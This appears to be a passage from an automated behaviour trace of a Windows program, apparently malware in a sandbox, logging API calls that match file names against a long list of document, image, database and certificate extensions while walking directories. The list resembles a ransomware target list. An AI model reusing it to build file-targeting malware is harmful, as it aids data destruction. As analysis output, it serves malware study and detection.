lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0093.217] lstrlenW (lpString=".backup") returned 7 [0093.217] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0093.217] lstrlenW (lpString=".bak") returned 4 [0093.217] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0093.217] lstrlenW (lpString=".bay") returned 4 [0093.217] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0093.217] lstrlenW (lpString=".bd") returned 3 [0093.217] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0093.217] lstrlenW (lpString=".bin") returned 4 [0093.217] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0093.217] lstrlenW (lpString=".bmp") returned 4 [0093.217] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0093.217] lstrlenW (lpString=".bz2") returned 4 [0093.217] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0093.217] lstrlenW (lpString=".c") returned 2 [0093.217] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0093.217] lstrlenW (lpString=".cdr") returned 4 [0093.669] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0093.669] lstrlenW (lpString=".cer") returned 4 [0093.669] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0093.669] lstrlenW (lpString=".cf") returned 3 [0093.669] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0093.669] lstrlenW (lpString=".cfc") returned 4 [0093.669] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0093.669] lstrlenW (lpString=".cfm") returned 4 [0093.669] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".cfml") returned 5 [0093.670] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0093.670] lstrlenW (lpString=".cfu") returned 4 [0093.670] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".chm") returned 4 [0093.670] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".cin") returned 4 [0093.670] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".class") returned 6 [0093.670] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0093.670] lstrlenW (lpString=".clx") returned 4 [0093.670] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".config") returned 7 [0093.670] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0093.670] lstrlenW (lpString=".cpp") returned 4 [0093.670] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".cr2") returned 4 [0093.670] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".crt") returned 4 [0093.670] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".crw") returned 4 [0093.670] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0093.670] lstrlenW (lpString=".cs") returned 3 [0093.670] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0093.671] lstrlenW (lpString=".css") returned 4 [0093.671] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".csv") returned 4 [0093.671] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".cub") returned 4 [0093.671] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".dae") returned 4 [0093.671] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".dat") returned 4 [0093.671] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".db") returned 3 [0093.671] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0093.671] lstrlenW (lpString=".dbf") returned 4 [0093.671] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".dbx") returned 4 [0093.671] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".dc3") returned 4 [0093.671] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".dcm") returned 4 [0093.671] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".dcr") returned 4 [0093.671] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".der") returned 4 [0093.671] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0093.671] lstrlenW (lpString=".dib") returned 4 [0093.671] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0093.672] lstrlenW (lpString=".dic") returned 4 [0093.672] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0093.672] lstrlenW (lpString=".dif") returned 4 [0093.672] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0093.672] lstrlenW (lpString=".divx") returned 5 [0093.672] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0093.672] lstrlenW (lpString=".djvu") returned 5 [0093.672] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0093.672] lstrlenW (lpString=".dng") returned 4 [0093.672] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0093.672] lstrlenW (lpString=".doc") returned 4 [0093.672] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0093.672] lstrlenW (lpString=".docm") returned 5 [0093.672] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0093.672] lstrlenW (lpString=".docx") returned 5 [0093.672] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0093.672] lstrlenW (lpString=".dot") returned 4 [0093.672] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0093.672] lstrlenW (lpString=".dotm") returned 5 [0093.672] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0093.672] lstrlenW (lpString=".dotx") returned 5 [0093.672] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0093.672] lstrlenW (lpString=".dpx") returned 4 [0093.672] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0093.672] lstrlenW (lpString=".dqy") returned 4 [0093.673] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".dsn") returned 4 [0093.673] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".dt") returned 3 [0093.673] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0093.673] lstrlenW (lpString=".dtd") returned 4 [0093.673] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".dwg") returned 4 [0093.673] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".dwt") returned 4 [0093.673] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".dx") returned 3 [0093.673] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0093.673] lstrlenW (lpString=".dxf") returned 4 [0093.673] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".edml") returned 5 [0093.673] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0093.673] lstrlenW (lpString=".efd") returned 4 [0093.673] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".elf") returned 4 [0093.673] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".emf") returned 4 [0093.673] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".emz") returned 4 [0093.673] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0093.673] lstrlenW (lpString=".epf") returned 4 [0093.673] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".eps") returned 4 [0093.674] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".epsf") returned 5 [0093.674] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0093.674] lstrlenW (lpString=".epsp") returned 5 [0093.674] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0093.674] lstrlenW (lpString=".erf") returned 4 [0093.674] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".exr") returned 4 [0093.674] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".f4v") returned 4 [0093.674] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".fido") returned 5 [0093.674] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0093.674] lstrlenW (lpString=".flm") returned 4 [0093.674] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".flv") returned 4 [0093.674] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".frm") returned 4 [0093.674] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".fxg") returned 4 [0093.674] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".geo") returned 4 [0093.674] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0093.674] lstrlenW (lpString=".gif") returned 4 [0093.674] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".grs") returned 4 [0093.675] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".gz") returned 3 [0093.675] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0093.675] lstrlenW (lpString=".h") returned 2 [0093.675] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0093.675] lstrlenW (lpString=".hdr") returned 4 [0093.675] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".hpp") returned 4 [0093.675] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".hta") returned 4 [0093.675] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".htc") returned 4 [0093.675] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".htm") returned 4 [0093.675] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".html") returned 5 [0093.675] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0093.675] lstrlenW (lpString=".icb") returned 4 [0093.675] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".ics") returned 4 [0093.675] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".iff") returned 4 [0093.675] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0093.675] lstrlenW (lpString=".inc") returned 4 [0093.675] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".indd") returned 5 [0093.676] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0093.676] lstrlenW (lpString=".ini") returned 4 [0093.676] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".iqy") returned 4 [0093.676] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".j2c") returned 4 [0093.676] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".j2k") returned 4 [0093.676] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".java") returned 5 [0093.676] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0093.676] lstrlenW (lpString=".jp2") returned 4 [0093.676] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".jpc") returned 4 [0093.676] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".jpe") returned 4 [0093.676] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".jpeg") returned 5 [0093.676] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0093.676] lstrlenW (lpString=".jpf") returned 4 [0093.676] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".jpg") returned 4 [0093.676] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0093.676] lstrlenW (lpString=".jpx") returned 4 [0093.676] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".js") returned 3 [0093.677] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0093.677] lstrlenW (lpString=".jsf") returned 4 [0093.677] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".json") returned 5 [0093.677] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0093.677] lstrlenW (lpString=".jsp") returned 4 [0093.677] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".kdc") returned 4 [0093.677] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".kmz") returned 4 [0093.677] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".kwm") returned 4 [0093.677] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".lasso") returned 6 [0093.677] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0093.677] lstrlenW (lpString=".lbi") returned 4 [0093.677] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".lgf") returned 4 [0093.677] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".lgp") returned 4 [0093.677] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".log") returned 4 [0093.677] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0093.677] lstrlenW (lpString=".m1v") returned 4 [0093.677] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".m4a") returned 4 [0093.678] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".m4v") returned 4 [0093.678] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".max") returned 4 [0093.678] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".md") returned 3 [0093.678] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0093.678] lstrlenW (lpString=".mda") returned 4 [0093.678] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mdb") returned 4 [0093.678] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mde") returned 4 [0093.678] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mdf") returned 4 [0093.678] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mdw") returned 4 [0093.678] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mef") returned 4 [0093.678] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mft") returned 4 [0093.678] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mfw") returned 4 [0093.678] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mht") returned 4 [0093.678] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0093.678] lstrlenW (lpString=".mhtml") returned 6 [0093.679] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0093.679] lstrlenW (lpString=".mka") returned 4 [0093.679] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mkidx") returned 6 [0093.679] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0093.679] lstrlenW (lpString=".mkv") returned 4 [0093.679] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mos") returned 4 [0093.679] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mov") returned 4 [0093.679] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mp3") returned 4 [0093.679] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mp4") returned 4 [0093.679] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mpeg") returned 5 [0093.679] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0093.679] lstrlenW (lpString=".mpg") returned 4 [0093.679] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mpv") returned 4 [0093.679] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mrw") returned 4 [0093.679] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".msg") returned 4 [0093.679] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0093.679] lstrlenW (lpString=".mxl") returned 4 [0093.680] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".myd") returned 4 [0093.680] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".myi") returned 4 [0093.680] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".nef") returned 4 [0093.680] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".nrw") returned 4 [0093.680] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".obj") returned 4 [0093.680] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".odb") returned 4 [0093.680] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".odc") returned 4 [0093.680] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".odm") returned 4 [0093.680] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".odp") returned 4 [0093.680] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".ods") returned 4 [0093.680] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".oft") returned 4 [0093.680] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".one") returned 4 [0093.680] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0093.680] lstrlenW (lpString=".onepkg") returned 7 [0093.681] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0093.681] lstrlenW (lpString=".onetoc2") returned 8 [0093.681] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0093.681] lstrlenW (lpString=".opt") returned 4 [0093.681] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".oqy") returned 4 [0093.681] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".orf") returned 4 [0093.681] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".p12") returned 4 [0093.681] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".p7b") returned 4 [0093.681] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".p7c") returned 4 [0093.681] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".pam") returned 4 [0093.681] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".pbm") returned 4 [0093.681] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".pct") returned 4 [0093.681] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".pcx") returned 4 [0093.681] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".pdd") returned 4 [0093.681] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0093.681] lstrlenW (lpString=".pdf") returned 4 [0093.682] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".pdp") returned 4 [0093.682] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".pef") returned 4 [0093.682] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".pem") returned 4 [0093.682] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".pff") returned 4 [0093.682] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".pfm") returned 4 [0093.682] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".pfx") returned 4 [0093.682] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".pgm") returned 4 [0093.682] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".php") returned 4 [0093.682] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0093.682] lstrlenW (lpString=".php3") returned 5 [0093.682] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0093.682] lstrlenW (lpString=".php4") returned 5 [0093.682] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0093.682] lstrlenW (lpString=".php5") returned 5 [0093.682] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0093.682] lstrlenW (lpString=".phtml") returned 6 [0093.682] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0093.682] lstrlenW (lpString=".pict") returned 5 [0093.682] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0093.683] lstrlenW (lpString=".pl") returned 3 [0093.683] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0093.683] lstrlenW (lpString=".pls") returned 4 [0093.683] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0093.683] lstrlenW (lpString=".pm") returned 3 [0093.683] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0093.683] lstrlenW (lpString=".png") returned 4 [0093.683] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0093.683] lstrlenW (lpString=".pnm") returned 4 [0093.683] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0093.683] lstrlenW (lpString=".pot") returned 4 [0093.683] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0093.683] lstrlenW (lpString=".potm") returned 5 [0093.683] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0093.683] lstrlenW (lpString=".potx") returned 5 [0093.683] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0093.683] lstrlenW (lpString=".ppa") returned 4 [0093.683] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0093.683] lstrlenW (lpString=".ppam") returned 5 [0093.683] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0093.683] lstrlenW (lpString=".ppm") returned 4 [0093.683] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0093.683] lstrlenW (lpString=".pps") returned 4 [0093.683] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0093.683] lstrlenW (lpString=".ppsm") returned 5 [0093.683] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0093.684] lstrlenW (lpString=".ppt") returned 4 [0093.684] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".pptm") returned 5 [0093.684] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0093.684] lstrlenW (lpString=".pptx") returned 5 [0093.684] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0093.684] lstrlenW (lpString=".prn") returned 4 [0093.684] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".ps") returned 3 [0093.684] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0093.684] lstrlenW (lpString=".psb") returned 4 [0093.684] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".psd") returned 4 [0093.684] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".pst") returned 4 [0093.684] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".ptx") returned 4 [0093.684] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".pub") returned 4 [0093.684] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".pwm") returned 4 [0093.684] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".pxr") returned 4 [0093.684] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0093.684] lstrlenW (lpString=".py") returned 3 [0093.684] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0093.685] lstrlenW (lpString=".qt") returned 3 [0093.685] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0093.685] lstrlenW (lpString=".r3d") returned 4 [0093.685] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0093.685] lstrlenW (lpString=".raf") returned 4 [0093.685] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0093.685] lstrlenW (lpString=".rar") returned 4 [0093.685] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0093.685] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0093.685] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0093.685] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.686] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0093.687] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0093.687] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0093.687] lstrlenW (lpString="C:\\Boot\\nl-NL") returned 13 [0093.687] FindFirstFileW (in: 